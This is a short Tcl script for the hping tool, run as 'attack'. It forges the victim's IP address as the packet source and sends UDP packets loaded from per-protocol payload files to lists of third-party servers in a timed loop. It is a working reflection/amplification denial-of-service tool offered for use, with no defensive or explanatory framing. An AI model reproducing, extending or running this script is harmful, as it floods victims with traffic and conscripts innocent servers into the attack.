#package require Tk #source hpingstdlib.htcl if {$argc < 2 || $argc > 4} { puts stderr "Usage: attack \[delay\] \[loops\]" exit } foreach {target duration delay loop_chunks} $argv break set end_time [expr [clock seconds] + $duration] set packets_sent 0 proc random {min max} { return [expr {int(rand()*($max-$min+1)+$min)}] } proc sendpacket {destination dport protocol} { global target packets_sent set sport [random 1000 50000] set syn "ip(saddr=$target,daddr=$destination,ttl=255)+udp(sport=$sport,dport=$dport)+data(file=packets/$protocol.packet)" #puts "Sending $protocol packet $destination:$dport" hping send $syn incr packets_sent } proc sendpackets {protocol} { set server_path "servers/$protocol.txt" set fp [open $server_path r] set server_data [read $fp] close $fp set data [split $server_data "\n"] foreach {destination dport} $data { sendpacket $destination $dport $protocol } } proc looppackets {protocol} { global loop_chunks argc if {$argc > 3} { for { set i 1 } { $i <= $loop_chunks } { incr i } { sendpackets $protocol } } else { sendpackets $protocol } } proc loopprotocols {} { set contents [glob -directory "packets" *] foreach item $contents { set protocol [file rootname [file tail $item]] #puts "Using $protocol protocol" looppackets $protocol } } while {[expr $end_time - [clock seconds]] > 0} { puts "[clock format [expr $end_time - [clock seconds]] -format %M:%S] remaining" loopprotocols if { $argc > 2 } { after [expr int($delay)] } }